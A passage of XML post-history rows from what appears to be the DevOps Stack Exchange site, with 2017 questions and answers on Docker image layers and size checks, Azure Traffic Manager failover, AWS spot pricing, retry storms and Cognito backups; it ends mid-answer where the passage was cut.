  <row Id="2940" PostHistoryTypeId="5" PostId="740" RevisionGUID="f8af7725-be95-4f44-9dcb-44cc3bfc73a3" CreationDate="2017-04-14T07:47:17.027" UserId="210" Comment="deleted 788 characters in body" Text="**Why this question?**&#xD;&#xA;&#xD;&#xA;The reason for posting this Q&amp;A is that sometimes certain software is required to compile software in a docker image. Once compiled these packages are superfluous and should be removed in order to reduce the image size. In some cases images that were more than 1.5GB where reduced to less than 300MB. The following use case does not represent a real world scenario, but provides an example of this use case.&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;It works to remove a directory when the remove command is defined in the same layer as the creation of the folder:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Successfully built c283805e687f&#xD;&#xA;&#xD;&#xA;When the aim is to remove the directory in another layer, either this:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;or this fails:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -rf dir&#xD;&#xA;&#xD;&#xA;another attempt was using workdir&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir&#xD;&#xA;    WORKDIR dir&#xD;&#xA;    RUN wget http://google.com&#xD;&#xA;    WORKDIR /&#xD;&#xA;    RUN ls&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;building the image resulted in:&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/7 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/7 : RUN mkdir dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; aed5c75218cb&#xD;&#xA;    Step 3/7 : WORKDIR dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 715de09e7e08&#xD;&#xA;    Step 4/7 : RUN wget http://google.com&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c07bfb3e1133&#xD;&#xA;    Step 5/7 : WORKDIR /&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c6de86d0191a&#xD;&#xA;    Step 6/7 : RUN ls&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 9567593cce39&#xD;&#xA;    Step 7/7 : RUN rm -r dir&#xD;&#xA;     ---&gt; Running in 7fe7b28294bf&#xD;&#xA;    rm: can't remove 'dir': Directory not empty&#xD;&#xA;    The command '/bin/sh -c rm -r dir' returned a non-zero code: 1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2941" PostHistoryTypeId="5" PostId="753" RevisionGUID="ed1c65a0-014c-4a08-a6f7-ff6d3a5ba6c6" CreationDate="2017-04-14T07:52:48.080" UserId="210" Comment="added 412 characters in body" Text="A solution is to remove the `not empty directory` using `find`:&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; echo -e &quot;BEFORE\n&quot; &amp;&amp; ls &amp;&amp; find /dir -delete &amp;&amp; echo -e &quot;\nAFTER\n&quot; &amp;&amp; ls&#xD;&#xA;&#xD;&#xA;**Outcome**&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon  2.048kB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; echo -e &quot;BEFORE\n&quot; &amp;&amp; ls &amp;&amp; find /dir -delete &amp;&amp; echo -e &quot;\nAFTER\n&quot; &amp;&amp; ls&#xD;&#xA;     ---&gt; Running in ba93a1742a76&#xD;&#xA;    Connecting to google.com (172.217.20.110:80)&#xD;&#xA;    Connecting to www.google.nl (172.217.20.99:80)&#xD;&#xA;    index.html           100% |*******************************| 11092   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;    BEFORE&#xD;&#xA;    &#xD;&#xA;    bin&#xD;&#xA;    dev&#xD;&#xA;    dir&#xD;&#xA;    etc&#xD;&#xA;    home&#xD;&#xA;    lib&#xD;&#xA;    media&#xD;&#xA;    mnt&#xD;&#xA;    proc&#xD;&#xA;    root&#xD;&#xA;    run&#xD;&#xA;    sbin&#xD;&#xA;    srv&#xD;&#xA;    sys&#xD;&#xA;    tmp&#xD;&#xA;    usr&#xD;&#xA;    var&#xD;&#xA;    &#xD;&#xA;    AFTER&#xD;&#xA;    &#xD;&#xA;    bin&#xD;&#xA;    dev&#xD;&#xA;    etc&#xD;&#xA;    home&#xD;&#xA;    lib&#xD;&#xA;    media&#xD;&#xA;    mnt&#xD;&#xA;    proc&#xD;&#xA;    root&#xD;&#xA;    run&#xD;&#xA;    sbin&#xD;&#xA;    srv&#xD;&#xA;    sys&#xD;&#xA;    tmp&#xD;&#xA;    usr&#xD;&#xA;    var&#xD;&#xA;     ---&gt; 2e3109285a2d&#xD;&#xA;    Removing intermediate container ba93a1742a76&#xD;&#xA;    Successfully built 2e3109285a2d" ContentLicense="CC BY-SA 3.0" />
  <row Id="2943" PostHistoryTypeId="2" PostId="889" RevisionGUID="1f905e32-3fc3-46ff-80f8-e732f95de4b2" CreationDate="2017-04-14T09:03:09.587" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2944" PostHistoryTypeId="1" PostId="889" RevisionGUID="1f905e32-3fc3-46ff-80f8-e732f95de4b2" CreationDate="2017-04-14T09:03:09.587" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2945" PostHistoryTypeId="2" PostId="890" RevisionGUID="85aa9ba8-f0cd-40ab-bad8-c0f30446d928" CreationDate="2017-04-14T09:03:09.587" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2946" PostHistoryTypeId="1" PostId="890" RevisionGUID="85aa9ba8-f0cd-40ab-bad8-c0f30446d928" CreationDate="2017-04-14T09:03:09.587" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2947" PostHistoryTypeId="5" PostId="890" RevisionGUID="21be81b7-a9b2-42c6-b182-29d63c6dca8c" CreationDate="2017-04-14T09:41:30.500" UserId="14" Comment="added 205 characters in body" Text="For questions about the interaction between software engineering and DevOps. For pure software engineering questions with little relevance to DevOps, consider asking at Software Engineering Stack Exchange." ContentLicense="CC BY-SA 3.0" />
  <row Id="2948" PostHistoryTypeId="24" PostId="890" RevisionGUID="21be81b7-a9b2-42c6-b182-29d63c6dca8c" CreationDate="2017-04-14T09:41:30.500" Comment="Proposed by 14 approved by 397, 40 edit id of 261" ContentLicense="CC BY-SA 3.0" />
  <row Id="2950" PostHistoryTypeId="5" PostId="332" RevisionGUID="018a9021-9988-4cea-a4cc-54a5a872d507" CreationDate="2017-04-14T16:30:33.690" UserId="397" Comment="Made summary consistent with [tag:jenkins]" Text="For questions about plugins for Jenkins, the open source automation server." ContentLicense="CC BY-SA 3.0" />
  <row Id="2951" PostHistoryTypeId="24" PostId="332" RevisionGUID="018a9021-9988-4cea-a4cc-54a5a872d507" CreationDate="2017-04-14T16:30:33.690" Comment="Proposed by 397 approved by 40, 228 edit id of 262" ContentLicense="CC BY-SA 3.0" />
  <row Id="2952" PostHistoryTypeId="2" PostId="891" RevisionGUID="f2639f0e-f8be-48dc-828a-89541cd2cdb1" CreationDate="2017-04-14T16:47:09.503" UserId="397" Text="We have a service hosted in four regions, two in North America and two in Europe.  We are using [Azure Traffic Manager][1] to provide:&#xD;&#xA;&#xD;&#xA; 1. **Performance-based routeing** - that is routeing consumers to the service that has the lowest latency.&#xD;&#xA; 2. **Failover** - if one region is down, traffic is routed elsewhere.&#xD;&#xA;&#xD;&#xA;[![Traffic Manager Architecture][2]][2]&#xD;&#xA;&#xD;&#xA;As it turns out if a service goes down, then Traffic Manager will spread the load across all other endpoints to reduce the chance of a cascading failure.&#xD;&#xA;&#xD;&#xA;For us, however, we would rather run each region with enough capacity to be able to handle the traffic of two regions than force our users to make transatlantic requests.&#xD;&#xA;&#xD;&#xA;Is it possible to configure Traffic Manager to always route to the next-nearest region in the event an endpoint is down?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/traffic-manager/traffic-manager-overview&#xD;&#xA;  [2]: https://i.stack.imgur.com/dJR2I.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2953" PostHistoryTypeId="1" PostId="891" RevisionGUID="f2639f0e-f8be-48dc-828a-89541cd2cdb1" CreationDate="2017-04-14T16:47:09.503" UserId="397" Text="How to prevent Azure Traffic Manager from routing over high latency connections in a failover scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2954" PostHistoryTypeId="3" PostId="891" RevisionGUID="f2639f0e-f8be-48dc-828a-89541cd2cdb1" CreationDate="2017-04-14T16:47:09.503" UserId="397" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2960" PostHistoryTypeId="5" PostId="891" RevisionGUID="15d51578-eb48-49f8-95f8-59ddb2051ad0" CreationDate="2017-04-14T19:08:23.227" UserId="14" Comment="Typo of 'routing'" Text="We have a service hosted in four regions, two in North America and two in Europe.  We are using [Azure Traffic Manager][1] to provide:&#xD;&#xA;&#xD;&#xA; 1. **Performance-based routing** - that is routing consumers to the service that has the lowest latency.&#xD;&#xA; 2. **Failover** - if one region is down, traffic is routed elsewhere.&#xD;&#xA;&#xD;&#xA;[![Traffic Manager Architecture  (Regions in Europe and North America)][2]][2]&#xD;&#xA;&#xD;&#xA;As it turns out if a service goes down, then Traffic Manager will spread the load across all other endpoints to reduce the chance of a cascading failure.&#xD;&#xA;&#xD;&#xA;For us, however, we would rather run each region with enough capacity to be able to handle the traffic of two regions than force our users to make transatlantic requests.&#xD;&#xA;&#xD;&#xA;Is it possible to configure Traffic Manager to always route to the next-nearest region in the event an endpoint is down?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/traffic-manager/traffic-manager-overview&#xD;&#xA;  [2]: https://i.stack.imgur.com/dJR2I.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2961" PostHistoryTypeId="24" PostId="891" RevisionGUID="15d51578-eb48-49f8-95f8-59ddb2051ad0" CreationDate="2017-04-14T19:08:23.227" Comment="Proposed by 14 approved by 40, 46 edit id of 263" ContentLicense="CC BY-SA 3.0" />
  <row Id="2962" PostHistoryTypeId="5" PostId="322" RevisionGUID="1680adf1-f572-4c66-9403-dde9ded6339d" CreationDate="2017-04-14T21:01:40.667" UserId="397" Comment="Added Link to PM and SE." Text="Before using this tag it is recommended to review [Project Management Stack Exchange][1] or [Software Engineering Stack Exchange][2], questions specifically about agile may get a better response on these sites.&#xD;&#xA;&#xD;&#xA;From [Wikipedia][3]:&#xD;&#xA;&#xD;&#xA;&gt; Agile software development describes a set of principles for software development under which requirements and solutions evolve through the collaborative effort of self-organizing cross-functional teams. Based off Agile Architecture, it advocates adaptive planning, evolutionary development, early delivery, and continuous improvement, and it encourages rapid and flexible response to change. These principles support the definition and continuing evolution of many software development methods.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pm.stackexchange.com/&#xD;&#xA;  [2]: https://softwareengineering.stackexchange.com/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Agile_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="2963" PostHistoryTypeId="24" PostId="322" RevisionGUID="1680adf1-f572-4c66-9403-dde9ded6339d" CreationDate="2017-04-14T21:01:40.667" Comment="Proposed by 397 approved by 40 edit id of 265" ContentLicense="CC BY-SA 3.0" />
  <row Id="2964" PostHistoryTypeId="2" PostId="892" RevisionGUID="5b37892f-e9f6-4752-b122-7df1aaac1b70" CreationDate="2017-04-14T21:30:00.663" UserId="2330" Text="Honestly you shouldn't exit, but there is a conditional build step plugin&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins-ci.org/display/JENKINS/Conditional+BuildStep+Plugin&#xD;&#xA;&#xD;&#xA;I Haven't come up against this yet, so haven't used the plugin.&#xD;&#xA;&#xD;&#xA;There is also conditionals as found in this prior stackexchange post on Jenkins&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/37690920/jenkins-pipeline-conditional-step-stage" ContentLicense="CC BY-SA 3.0" />
  <row Id="2965" PostHistoryTypeId="5" PostId="846" RevisionGUID="d8413b78-cecd-4046-bf08-d4dfd705b9cb" CreationDate="2017-04-14T23:37:27.243" UserId="397" Comment="Added link to Information Security Stack Exchange." Text="Before posting a question about Software Quality Assurance and testing, consider if it would be more appropriate on [Information Security Stack Exchange][1].&#xD;&#xA;&#xD;&#xA;Security is a key element of any system that acts to protect information and infrastructure:&#xD;&#xA;&#xD;&#xA; - **Information Security** is the practice of preventing unauthorised access, use, disclosure, disruption, modification, inspection, recording or destruction of information.&#xD;&#xA;&#xD;&#xA; - **IT Security** is the practice of preventing unauthorised access, use, modification or destruction of IT Assets.&#xD;&#xA;&#xD;&#xA; - **DevSecOps or DevOpsSec** is the practice of integrating security into the deployment pipeline using automation and dynamic risk assessment processes.&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [DevOpsSec by Jim Bird][2]&#xD;&#xA; - [DevSecOps Handbook][3]&#xD;&#xA; - [IT Security in a DevOps World][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/&#xD;&#xA;  [2]: http://www.oreilly.com/webops-perf/free/devopssec.csp&#xD;&#xA;  [3]: https://www.sans.org/reading-room/whitepapers/analyst/devsecops-playbook-36792&#xD;&#xA;  [4]: https://devops.com/security-devops-world-qa-gartners-ben-tomhave/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2966" PostHistoryTypeId="24" PostId="846" RevisionGUID="d8413b78-cecd-4046-bf08-d4dfd705b9cb" CreationDate="2017-04-14T23:37:27.243" Comment="Proposed by 397 approved by 40, 228 edit id of 264" ContentLicense="CC BY-SA 3.0" />
  <row Id="2967" PostHistoryTypeId="6" PostId="214" RevisionGUID="da185d89-ed13-4ce5-86ab-08dd7e81de07" CreationDate="2017-04-15T06:12:15.047" UserId="46" Comment="edited tags" Text="&lt;ansible&gt;&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2968" PostHistoryTypeId="2" PostId="893" RevisionGUID="6170a4c0-8171-4c33-ab1a-226c0c2b58a1" CreationDate="2017-04-15T07:03:15.743" UserId="46" Text="I was trying to provision spot instances via Ansible yesterday, and almost all my requests failed, even when I put my spot price == the on-demand price of that instance. &#xD;&#xA;&#xD;&#xA;So, when I had a look at the spot pricing graph, I found something very interesting:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The spot price of the instance in us-east-1a is more than the on-demand price, which confused me. [in fact, ~5x times higher]&#xD;&#xA;&#xD;&#xA;**Aren't spot instances preferred for the low cost?** If yes, then why is the price higher than the on-demand price?&#xD;&#xA;&#xD;&#xA;According to [AWS's docs][2]:&#xD;&#xA;&#xD;&#xA;&gt; Spot instances provide you with access to unused Amazon EC2 capacity&#xD;&#xA;&gt; at steep discounts relative to On-Demand prices.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, **does this mean that people are bidding over the on-demand price?**  If yes, then why so?  Aren't they better off with an on-demand instance?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or did I understand the concept of spot instances wrong?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2Pfb9.png&#xD;&#xA;  [2]: https://aws.amazon.com/ec2/spot/pricing/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2969" PostHistoryTypeId="1" PostId="893" RevisionGUID="6170a4c0-8171-4c33-ab1a-226c0c2b58a1" CreationDate="2017-04-15T07:03:15.743" UserId="46" Text="Why is the AWS EC2's spot price greater than the on-demand price?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2970" PostHistoryTypeId="3" PostId="893" RevisionGUID="6170a4c0-8171-4c33-ab1a-226c0c2b58a1" CreationDate="2017-04-15T07:03:15.743" UserId="46" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2971" PostHistoryTypeId="2" PostId="894" RevisionGUID="a2ac740f-e5a9-444f-9690-85049642f5fc" CreationDate="2017-04-15T07:53:54.547" UserId="2333" Text="There are 2 reasons for this:&#xD;&#xA;&#xD;&#xA;* A lot of users are using the spot instance at some times (Think about batch processing, boot up 100 machines as spot instance and crunch away).&#xD;&#xA;&#xD;&#xA;* For a spot instance you don't pay the bidding price, you pay the current spot price. The bidding price is the cutoff point. If the current spot price exceeds that of the bidding price AWS will terminate that instance.&#xD;&#xA;&#xD;&#xA;This last on is also the reason that some user will massively overbid on the spot prices. They don't want their instance to shutdown every so often, so they bid a price so high that the spot price will never reach. Since they will only pay the current spot price the instance will be much cheaper 99% of the time." ContentLicense="CC BY-SA 3.0" />
  <row Id="2972" PostHistoryTypeId="2" PostId="895" RevisionGUID="36533440-384f-47a1-ac6e-2780b95e4807" CreationDate="2017-04-15T08:14:08.237" UserId="2334" Text="This is actually a great example of people slightly abusing spot. People are saying 'Our workload is really important but we don't want to pay full on demand price', so they set a bid price higher than on-demand on the assumption that it is very unlikely to be terminated, but still want to get the 'cheapest possible' spot price on offer.&#xD;&#xA;&#xD;&#xA;There have been cases where people enter, for example, $1000 (I've been told of at least one time this happened) because they want the benefit of the spot market. Of course naturally at some point the demand comes in and the spot price SOARS to make people pay higher than on-demand.&#xD;&#xA;&#xD;&#xA;The way the spot market works is that Amazon have X instances spare capacity, and they count from the top down until they fill the need for all X instances. The 'price', then, is the lowest price at which they can fulfill those X instances.&#xD;&#xA;&#xD;&#xA;So imagine Amazon have 10,000 instances - well they will count down to (say) $0.43 until they've got those 10,000 instances fulfilled. But if that supply suddenly drops to 100 instances, then maybe a few people put bid prices of $10,000 for their 100 instances, suddenly they'll be paying that $10k per hour.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Tl;dr Understand how spot works, and set a cap you are prepared to pay." ContentLicense="CC BY-SA 3.0" />
  <row Id="2973" PostHistoryTypeId="5" PostId="883" RevisionGUID="53461319-53f8-41c9-b05b-cd458ff62751" CreationDate="2017-04-15T08:28:16.027" UserId="40" Comment="added 36 characters in body" Text="I've been in various facets of Software development over the past 10+ years. I started in the development side of the Application Lifecycle Management(= ALM) cycle, and more recently I've been working in the QA side of ALM. &#xD;&#xA;&#xD;&#xA;One thing that has consistently bothered me was all the different companies that I've worked for tried to embrace an effective ALM process but in the end it usually turned out to be a half-baked implementation of a scrum methodology that had all the different team leads debating about the right and wrong ways to implement ALM processes. &#xD;&#xA;&#xD;&#xA;I've been currently researching DevOps in hopes that I can shift my career to a direction that will allow me to better contribute to a companies ALM process. &#xD;&#xA;&#xD;&#xA;I have quite a bit of experience in Dev, QA, and General IT but I wouldn't consider myself an absolute expert in either area.&#xD;&#xA;&#xD;&#xA;Any suggestions, advice, recommended reading, etc?&#xD;&#xA;&#xD;&#xA;If you recommend a book could you include the ISBN number (it's easier to search for it that way)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2975" PostHistoryTypeId="2" PostId="896" RevisionGUID="8e11589a-57cb-4adb-aeb0-046d8845f9d0" CreationDate="2017-04-15T09:57:30.340" UserId="14" Text="A useful bit of information for understanding *why* someone would bid over the on-demand price can be found in the [Introduction to Spot Instances](https://aws.amazon.com/items/3260?externalID=3260):&#xD;&#xA;&#xD;&#xA;&gt;  Spot Instances can be used to help you meet occasional needs&#xD;&#xA;for large amounts of compute capacity (note that the default limit for Spot Instances is 100 versus the&#xD;&#xA;default limit of 20 for On-Demand Instances.) If your needs are urgent, you can specify a high maximum&#xD;&#xA;price (possibly even higher than the On-Demand price), which will raise your request’s relative priority&#xD;&#xA;and allow you to gain access to as much immediate capacity as possible given other requests and the &#xD;&#xA;Spot Instance capacity available at the time. &#xD;&#xA;&#xD;&#xA;If you have a huge spike in demand for your service (perhaps being linked to from another popular site—see the [Slashdot effect](https://en.wikipedia.org/wiki/Slashdot_effect)), bidding above the on-demand price for a spot instance would help you to get access to far more instances, as noted by the document.&#xD;&#xA;&#xD;&#xA;Of course, this isn't sustainable in the long run, and you'd get a much better deal for a long-term compute by just buying on-demand instances (plus there's less risk of being outbid!).&#xD;&#xA;&#xD;&#xA;If you're in a situation where you need **a lot of computing power, *fast***—more than you could get from just buying on-demand instances—overbidding might make sense." ContentLicense="CC BY-SA 3.0" />
  <row Id="2980" PostHistoryTypeId="2" PostId="898" RevisionGUID="6613681a-5cd9-45dc-adc1-f01804ced1be" CreationDate="2017-04-15T10:50:11.337" UserId="397" Text="A &quot;retry storm&quot; is caused when clients are configured to retry a set number of times before giving up, a retry policy is necessary because of packets loss will occur in normal operation of a service.&#xD;&#xA;&#xD;&#xA;Take this example:&#xD;&#xA;&#xD;&#xA;[![Sample Architecture][1]][1]&#xD;&#xA;&#xD;&#xA;If for example the services as a whole were scaled to support 100,000 requests per seconds and run at about 80% of capacity, a spike in traffic that caused the service to receive 101,000 requests per second would cause 1,000 of those requests to fail.&#xD;&#xA;&#xD;&#xA;When the retry policies kick in, you end up with additional 1,000+ requests, depending on where the failure was detected which would push the service as a whole up to 102,000 requests per second - from there your service goes into a death spiral doubling the number of failed requests every second.&#xD;&#xA;&#xD;&#xA;Other than massive over-provisioning of services beyond the projected peak transaction, which would be inefficient.  What strategies can you employ to avoid &quot;retry storms&quot;?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gCgAH.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2981" PostHistoryTypeId="1" PostId="898" RevisionGUID="6613681a-5cd9-45dc-adc1-f01804ced1be" CreationDate="2017-04-15T10:50:11.337" UserId="397" Text="How to avoid &quot;retry storms&quot; in distributed services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2982" PostHistoryTypeId="3" PostId="898" RevisionGUID="6613681a-5cd9-45dc-adc1-f01804ced1be" CreationDate="2017-04-15T10:50:11.337" UserId="397" Text="&lt;serverless&gt;&lt;cloud&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2983" PostHistoryTypeId="2" PostId="899" RevisionGUID="c61f101e-e9dd-4601-8c33-d3840796bb72" CreationDate="2017-04-15T16:44:57.980" UserId="47" Text="One way of preventing these retry storms is by using backoff mechanisms.&#xD;&#xA;&#xD;&#xA;From the [Implement backoff on retry][1] section of Google App Engine [Designing for Scale][2] guide:&#xD;&#xA;&#xD;&#xA;&gt; Your code can retry on failure, whether calling a service such as&#xD;&#xA;&gt; Cloud Datastore or an external service using URL Fetch or the Socket&#xD;&#xA;&gt; API. In these cases, you should always implement a randomized&#xD;&#xA;&gt; exponential backoff policy in order to avoid the [thundering herd&#xD;&#xA;&gt; problem][3]. You should also limit the total number of retries and&#xD;&#xA;&gt; handle failures after the maximum retry limit is reached.&#xD;&#xA;&#xD;&#xA;Most of the GAE APIs already have such backoff mechanisms/policies enabled by default.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/articles/scalability#backoff&#xD;&#xA;  [2]: https://cloud.google.com/appengine/articles/scalability&#xD;&#xA;  [3]: https://wikipedia.org/wiki/Thundering_herd_problem" ContentLicense="CC BY-SA 3.0" />
  <row Id="2985" PostHistoryTypeId="2" PostId="900" RevisionGUID="e2671716-e559-404d-bfaa-205419536a56" CreationDate="2017-04-16T02:02:20.350" UserId="210" Text="`docker images` returns:&#xD;&#xA;&#xD;&#xA;    REPOSITORY            TAG            IMAGE ID       CREATED             SIZE&#xD;&#xA;    &lt;none&gt;                &lt;none&gt;         fcc125757e66   About an hour ago   270 MB&#xD;&#xA;&#xD;&#xA;**Attempts**&#xD;&#xA;&#xD;&#xA;`docker images | awk '{print $6}'` returns:&#xD;&#xA;&#xD;&#xA;    SIZE&#xD;&#xA;    ago&#xD;&#xA;    hour&#xD;&#xA;    ago&#xD;&#xA;    ago&#xD;&#xA;    ago&#xD;&#xA;&#xD;&#xA;**Expected outcome**&#xD;&#xA;&#xD;&#xA;`270` so this could be used in an if statement:&#xD;&#xA;&#xD;&#xA;    if [ VAR &gt; 250 ] then&#xD;&#xA;       echo &quot;Image too large&quot;&#xD;&#xA;       exit 1&#xD;&#xA;    fi" ContentLicense="CC BY-SA 3.0" />
  <row Id="2986" PostHistoryTypeId="1" PostId="900" RevisionGUID="e2671716-e559-404d-bfaa-205419536a56" CreationDate="2017-04-16T02:02:20.350" UserId="210" Text="How to let build fail when docker image size exceeds certain threshold?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2987" PostHistoryTypeId="3" PostId="900" RevisionGUID="e2671716-e559-404d-bfaa-205419536a56" CreationDate="2017-04-16T02:02:20.350" UserId="210" Text="&lt;docker&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2988" PostHistoryTypeId="2" PostId="901" RevisionGUID="96f44898-5e13-4668-95d5-27933075b48a" CreationDate="2017-04-16T02:05:50.637" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2989" PostHistoryTypeId="1" PostId="901" RevisionGUID="96f44898-5e13-4668-95d5-27933075b48a" CreationDate="2017-04-16T02:05:50.637" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2990" PostHistoryTypeId="2" PostId="902" RevisionGUID="fc26a813-6cd2-45d9-b724-0861e3015ee1" CreationDate="2017-04-16T02:05:50.637" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2991" PostHistoryTypeId="1" PostId="902" RevisionGUID="fc26a813-6cd2-45d9-b724-0861e3015ee1" CreationDate="2017-04-16T02:05:50.637" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2992" PostHistoryTypeId="5" PostId="902" RevisionGUID="4504441e-fba6-4581-a2a9-d075941ea077" CreationDate="2017-04-16T05:16:39.533" UserId="210" Comment="added 174 characters in body" Text="Continuous Integration is checking code on one system to ensure that changes made in several branches meet certain demands to prevent that the application will not be broken." ContentLicense="CC BY-SA 3.0" />
  <row Id="2993" PostHistoryTypeId="24" PostId="902" RevisionGUID="4504441e-fba6-4581-a2a9-d075941ea077" CreationDate="2017-04-16T05:16:39.533" Comment="Proposed by 210 approved by 228, 46 edit id of 266" ContentLicense="CC BY-SA 3.0" />
  <row Id="2994" PostHistoryTypeId="2" PostId="903" RevisionGUID="f6fc7e08-81de-49be-aa18-c21d9fe21e6a" CreationDate="2017-04-16T09:15:52.640" UserId="887" Text="The Amazon Cognito streams feature can be used to backup data.&#xD;&#xA;&#xD;&#xA;Currently, Amazon does not provide a solution to backup their Cognito user Pools. You can use the following NPM package called &quot;cognito-backup&quot;:&#xD;&#xA;&#xD;&#xA;Install:&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;    npm install -g cognito-backup&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Usage&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;    cognito-backup backup-users &lt;user-pool-id&gt; &lt;options&gt;  Backup all users in a single user pool&#xD;&#xA;    cognito-backup backup-all-users &lt;options&gt;  Backup all users in all user pools for this account&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Examples&#xD;&#xA;-----&#xD;&#xA;    cognito-backup backup-users eu-west-1_1_12345&#xD;&#xA;    cognito-backup backup-users eu-west-1_1_12345 --region eu-west-1 --file mypool.json&#xD;&#xA;    cognito-backup backup-all-users eu-west-1_1_12345 --region eu-west-1 --dir output&#xD;&#xA;&#xD;&#xA;Source: https://www.npmjs.com/package/cognito-backup&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2995" PostHistoryTypeId="2" PostId="904" RevisionGUID="e8a38268-dec5-4000-80ca-08c495015569" CreationDate="2017-04-16T09:40:41.553" UserId="14" Text="The output of `docker images` is really intended for humans, and it's not very parse-friendly. Instead, most Docker commands support a [`--format` flag using Go templates](https://docs.docker.com/engine/admin/formatting/). As you can see in the [`images` documentation](https://docs.docker.com/engine/reference/commandline/images/#format-the-output), you only really care about the `.Size` value, so you really want this:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot;&#xD;&#xA;&#xD;&#xA;This just gives an output like this:&#xD;&#xA;&#xD;&#xA;    90.6 MB&#xD;&#xA;&#xD;&#xA;If you have multiple images, they will each be on a separate line. I'm going to assume you will only ever have one line, because it vastly simplifies the next steps.&#xD;&#xA;&#xD;&#xA;To get rid of the `MB`, we can simply use `sed`:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed 